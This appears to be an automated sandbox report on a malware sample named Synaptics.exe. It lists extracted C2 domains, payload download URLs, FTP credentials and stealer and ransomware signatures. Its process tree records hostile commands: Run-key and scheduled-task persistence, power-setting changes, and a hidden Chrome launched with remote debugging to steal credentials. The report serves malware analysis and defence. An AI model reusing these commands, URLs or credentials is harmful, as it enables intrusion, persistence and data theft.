Overview

overview

10

Static

static

10

2to1ep.exe

windows10-2004-x64

2to1ep.exe

windows11-21h2-x64

10

4363463463...63.exe

windows10-2004-x64

4363463463...63.exe

windows11-21h2-x64

10

Synaptics.exe

windows10-2004-x64

Synaptics.exe

windows11-21h2-x64

10

TsarBomba.exe

windows10-2004-x64

TsarBomba.exe

windows11-21h2-x64

cobaltstri...de.exe

windows10-2004-x64

10

cobaltstri...de.exe

windows11-21h2-x64

10

ed01ebfbc9...aa.exe

windows10-2004-x64

10

ed01ebfbc9...aa.exe

windows11-21h2-x64

10

random.exe

windows10-2004-x64

random.exe

windows11-21h2-x64

10

Resubmissions

18/08/2026, 19:34

260818-x972xsygjb10

02/07/2026, 09:19

260702-labnwsfs6z

29/05/2026, 16:41

260529-t7a3mabx7l

26/05/2026, 03:15

260526-dr1qcadz4y

21/05/2026, 18:13

260521-wt38csgz7110

21/05/2026, 18:04

260521-wnpssagx3s10

21/05/2026, 17:59

260521-wkpzdady5j10

21/05/2026, 17:58

260521-wj9bmady2k

21/05/2026, 17:58

260521-wj5y7sgv4v

21/05/2026, 17:57

260521-wj2lsagv3z

Analysis

  • max time kernel
    103s
  • max time network
    198s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    06/04/2026, 23:44

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Synaptics.exe
  • Size 764KB
  • Sample260406-3rdy1set6j
  • SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
backdoorcredential_accessdefense_evasiondiscoveryexecutioninfinitylockmetasploitstealcxredxworminstallerpersistencepyinstallerransomwareratspywarestealertrojanupx

Malware Config

Extracted

Credentials
  • Protocol

    ftp
  • Host

    79.96.234.6
  • Port

    21
  • Username

    administrator
  • Password

    user

Extracted

Family

  • xred

C2

  • xred.mooo.com

Attributes
  • email

    [email protected]

  • payload_url

    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

    http://xred.site50.net/syn/SUpdate.ini

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

    https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

    http://xred.site50.net/syn/Synaptics.rar

    https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

    https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

    http://xred.site50.net/syn/SSLLibrary.dll

Signatures

  • Detect Xworm Payload 1 IoCs
  • Detects Stealc stealer Version 2 1 IoCs
  • InfinityLock Ransomware

    Also known as InfinityCrypt. Based on the open-source HiddenTear ransomware.

    ransomwareinfinitylock
  • Infinitylock family
    infinitylock
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Metasploit family
    metasploit
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Xred

    Xred is backdoor written in Delphi.

    backdoorxred
  • Xred family
    xred
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Contacts a large (664) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Downloads MZ/PE file 15 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Uses browser remote debugging 2 TTPs 60 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Drops startup file 5 IoCs
  • Executes dropped EXE 29 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • ConfuserEx .NET packer 1 IoCs

    Detects ConfuserEx .NET packer.

  • Drops file in System32 directory 9 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 9 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 3 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 11 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 6 IoCs

    Inno Setup installer

    installer
  • NSIS installer 2 IoCs
    installer
  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 24 IoCs
  • Kills process with taskkill 25 IoCs
    defense_evasion
  • Modifies registry class 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 16 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs
    defense_evasion

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3180
      • C:\Users\Admin\AppData\Local\Temp\Synaptics.exe
        "C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"
        2⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:3368
        • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
          "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"
          3⤵
          • Downloads MZ/PE file
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5872
          • C:\Users\Admin\AppData\Local\Temp\Files\InfinityCrypt.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\InfinityCrypt.exe"
            4⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            PID:4016
          • C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:6012
            • C:\Users\Admin\AppData\Local\Temp\is-4IKQU.tmp\PrivacyPolicy.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-4IKQU.tmp\PrivacyPolicy.tmp" /SL5="$202B8,699759,54272,C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1672
          • C:\Users\Admin\AppData\Local\Temp\Files\build1.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\build1.exe"
            4⤵
            • Downloads MZ/PE file
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2488
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe"
              5⤵
                PID:1232
              • C:\Users\Admin\AppData\Local\SCLbKZjP7Ze9.exe
                "C:\Users\Admin\AppData\Local\SCLbKZjP7Ze9.exe"
                5⤵
                • Executes dropped EXE
                PID:3860
                • C:\Users\Admin\AppData\Local\SCLbKZjP7Ze9.exe
                  "C:\Users\Admin\AppData\Local\SCLbKZjP7Ze9.exe"
                  6⤵
                  • Executes dropped EXE
                  PID:1660
              • C:\Users\Admin\AppData\Local\r69tPthDbvMo.exe
                "C:\Users\Admin\AppData\Local\r69tPthDbvMo.exe"
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:6108
                • C:\Users\Admin\AppData\Local\Temp\is-XU2EDOP20X.tmp\r69tPthDbvMo.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-XU2EDOP20X.tmp\r69tPthDbvMo.tmp" /SL5="$6037A,2245642,855040,C:\Users\Admin\AppData\Local\r69tPthDbvMo.exe"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:3372
              • C:\Users\Admin\AppData\Local\pf1qsoQUhlb2.exe
                "C:\Users\Admin\AppData\Local\pf1qsoQUhlb2.exe"
                5⤵
                • Drops startup file
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                PID:784
            • C:\Users\Admin\AppData\Local\Temp\Files\PXray_Cast_Sort.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\PXray_Cast_Sort.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4816
            • C:\Users\Admin\AppData\Local\Temp\Files\ClipAid-Pro.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\ClipAid-Pro.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: AddClipboardFormatListener
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:2672
            • C:\Users\Admin\AppData\Local\Temp\Files\Cloudy.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\Cloudy.exe"
              4⤵
                PID:1380
              • C:\Users\Admin\AppData\Local\Temp\Files\popapoers.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\popapoers.exe"
                4⤵
                  PID:4776
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 800
                    5⤵
                    • Program crash
                    PID:5836
                • C:\Users\Admin\AppData\Local\Temp\Files\purchaseorder.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\purchaseorder.exe"
                  4⤵
                    PID:4148
                  • C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe
                    "C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"
                    4⤵
                      PID:6104
                    • C:\Users\Admin\AppData\Local\Temp\Files\640.exe
                      "C:\Users\Admin\AppData\Local\Temp\Files\640.exe"
                      4⤵
                        PID:3204
                        • C:\Users\Admin\AppData\Local\Temp\Files\640.exe
                          "C:\Users\Admin\AppData\Local\Temp\Files\640.exe"
                          5⤵
                            PID:4844
                        • C:\Users\Admin\AppData\Local\Temp\Files\cleanup_tool.exe
                          "C:\Users\Admin\AppData\Local\Temp\Files\cleanup_tool.exe"
                          4⤵
                            PID:2280
                            • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\cleanup.exe
                              C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\cleanup.exe
                              5⤵
                                PID:6488
                            • C:\Users\Admin\AppData\Local\Temp\Files\NdisInstaller3.2.32.1.exe
                              "C:\Users\Admin\AppData\Local\Temp\Files\NdisInstaller3.2.32.1.exe"
                              4⤵
                                PID:3276
                                • C:\Users\Admin\AppData\Local\Temp\Files\certinst.exe
                                  certinst.exe root.cer
                                  5⤵
                                    PID:1832
                                  • C:\Users\Admin\AppData\Local\Temp\Files\snetcfg.exe
                                    snetcfg.exe -v -l ndisrd_lwf.inf -c s -i nt_ndisrd
                                    5⤵
                                      PID:4644
                                  • C:\Users\Admin\AppData\Local\Temp\Files\rxd_en_1.exe
                                    "C:\Users\Admin\AppData\Local\Temp\Files\rxd_en_1.exe"
                                    4⤵
                                      PID:2240
                                      • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\REXCEL~1.EXE
                                        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\REXCEL~1.EXE
                                        5⤵
                                          PID:5480
                                    • C:\ProgramData\Synaptics\Synaptics.exe
                                      "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
                                      3⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • System Location Discovery: System Language Discovery
                                      • Modifies registry class
                                      • Suspicious use of WriteProcessMemory
                                      PID:5080
                                      • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
                                        "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
                                        4⤵
                                        • Downloads MZ/PE file
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of WriteProcessMemory
                                        PID:5852
                                        • C:\Users\Admin\AppData\Local\Temp\Files\keepon.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Files\keepon.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          PID:5628
                                          • C:\Windows\System32\werfault.exe
                                            \??\C:\Windows\System32\werfault.exe
                                            6⤵
                                              PID:2436
                                          • C:\Users\Admin\AppData\Local\Temp\Files\AutoUpdate.exe
                                            "C:\Users\Admin\AppData\Local\Temp\Files\AutoUpdate.exe"
                                            5⤵
                                            • Drops file in Drivers directory
                                            • Executes dropped EXE
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SendNotifyMessage
                                            • Suspicious use of SetWindowsHookEx
                                            PID:5536
                                          • C:\Users\Admin\AppData\Local\Temp\Files\IMG001.exe
                                            "C:\Users\Admin\AppData\Local\Temp\Files\IMG001.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious use of WriteProcessMemory
                                            PID:1508
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious use of WriteProcessMemory
                                              PID:2352
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /f /im tftp.exe
                                                7⤵
                                                • System Location Discovery: System Language Discovery
                                                • Kills process with taskkill
                                                PID:5456
                                            • C:\Users\Admin\AppData\Local\Temp\tftp.exe
                                              "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              PID:3616
                                            • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
                                              "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
                                              6⤵
                                              • Drops startup file
                                              • Executes dropped EXE
                                              • Adds Run key to start application
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious use of WriteProcessMemory
                                              PID:5012
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
                                                7⤵
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious use of WriteProcessMemory
                                                PID:3532
                                                • C:\Windows\SysWOW64\taskkill.exe
                                                  taskkill /f /im tftp.exe
                                                  8⤵
                                                  • System Location Discovery: System Language Discovery
                                                  • Kills process with taskkill
                                                  PID:5952
                                              • C:\Users\Admin\AppData\Local\Temp\tftp.exe
                                                "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
                                                7⤵
                                                • Executes dropped EXE
                                                PID:1340
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
                                                7⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:5944
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
                                                  8⤵
                                                  • Adds Run key to start application
                                                  • System Location Discovery: System Language Discovery
                                                  PID:5316
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
                                                7⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:3144
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
                                                  8⤵
                                                  • System Location Discovery: System Language Discovery
                                                  • Scheduled Task/Job: Scheduled Task
                                                  PID:324
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
                                                7⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:1296
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
                                                  8⤵
                                                  • Drops file in Windows directory
                                                  • System Location Discovery: System Language Discovery
                                                  • Scheduled Task/Job: Scheduled Task
                                                  PID:1776
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
                                                7⤵
                                                • Power Settings
                                                • System Location Discovery: System Language Discovery
                                                PID:5960
                                                • C:\Windows\SysWOW64\powercfg.exe
                                                  powercfg /CHANGE -standby-timeout-ac 0
                                                  8⤵
                                                  • Power Settings
                                                  PID:4584
                                                • C:\Windows\SysWOW64\powercfg.exe
                                                  powercfg /CHANGE -hibernate-timeout-ac 0
                                                  8⤵
                                                  • Power Settings
                                                  PID:5544
                                                • C:\Windows\SysWOW64\powercfg.exe
                                                  Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
                                                  8⤵
                                                  • Power Settings
                                                  PID:5896
                                          • C:\Users\Admin\AppData\Local\Temp\Files\main1.exe
                                            "C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • Suspicious use of WriteProcessMemory
                                            PID:4336
                                            • C:\Users\Admin\AppData\Local\Temp\Files\main1.exe
                                              "C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              • Suspicious use of WriteProcessMemory
                                              PID:2604
                                              • C:\Windows\SYSTEM32\taskkill.exe
                                                taskkill /F /IM chrome.exe
                                                7⤵
                                                • Kills process with taskkill
                                                PID:5204
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                7⤵
                                                • Uses browser remote debugging
                                                • Drops file in Windows directory
                                                • Enumerates system info in registry
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of FindShellTrayWindow
                                                • Suspicious use of WriteProcessMemory
                                                PID:384
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0x7c,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                  8⤵
                                                    PID:2864
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1708,i,11150011482636146826,9833600858488720509,262144 --field-trial-handle=1972,i,12717168794953287958,12534975707303378606,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1968 /prefetch:2
                                                    8⤵
                                                      PID:4704
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=1496,i,373934649051004941,14765927573224223237,524288 --field-trial-handle=1972,i,12717168794953287958,12534975707303378606,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2060 /prefetch:11
                                                      8⤵
                                                      • System Time Discovery
                                                      PID:4680
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2160,i,17991954150832772595,16013041467443948082,524288 --field-trial-handle=1972,i,12717168794953287958,12534975707303378606,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2320 /prefetch:13
                                                      8⤵
                                                        PID:5336
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2932,i,16444145954035231504,17418717900408632114,2097152 --field-trial-handle=1972,i,12717168794953287958,12534975707303378606,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3000 /prefetch:1
                                                        8⤵
                                                        • Uses browser remote debugging
                                                        PID:5544
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2936,i,3352852348454824735,15757544790163201944,2097152 --field-trial-handle=1972,i,12717168794953287958,12534975707303378606,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3008 /prefetch:1
                                                        8⤵
                                                        • Uses browser remote debugging
                                                        PID:1144
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3740,i,12178772171273751364,7496101976144958136,2097152 --field-trial-handle=1972,i,12717168794953287958,12534975707303378606,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3760 /prefetch:9
                                                        8⤵
                                                        • Uses browser remote debugging
                                                        PID:5056
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4144,i,1342988443210019948,4955390886263841351,2097152 --field-trial-handle=1972,i,12717168794953287958,12534975707303378606,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4192 /prefetch:1
                                                        8⤵
                                                        • Uses browser remote debugging
                                                        PID:3320
                                                    • C:\Windows\SYSTEM32\taskkill.exe
                                                      taskkill /F /IM chrome.exe
                                                      7⤵
                                                      • Kills process with taskkill
                                                      PID:2528
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                      7⤵
                                                      • Uses browser remote debugging
                                                      • Drops file in Windows directory
                                                      • Enumerates system info in registry
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of FindShellTrayWindow
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:4312
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                        8⤵
                                                          PID:5692
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1628,i,2381713750444073054,17006511033830198904,262144 --field-trial-handle=2056,i,6762446311245960725,3440534494034874018,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2052 /prefetch:2
                                                          8⤵
                                                            PID:3428
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1444,i,6396577343228498992,5241488834737227215,524288 --field-trial-handle=2056,i,6762446311245960725,3440534494034874018,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2060 /prefetch:11
                                                            8⤵
                                                            • System Time Discovery
                                                            PID:700
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2172,i,8206137680237578828,782122508316731589,524288 --field-trial-handle=2056,i,6762446311245960725,3440534494034874018,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2340 /prefetch:13
                                                            8⤵
                                                              PID:5352
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
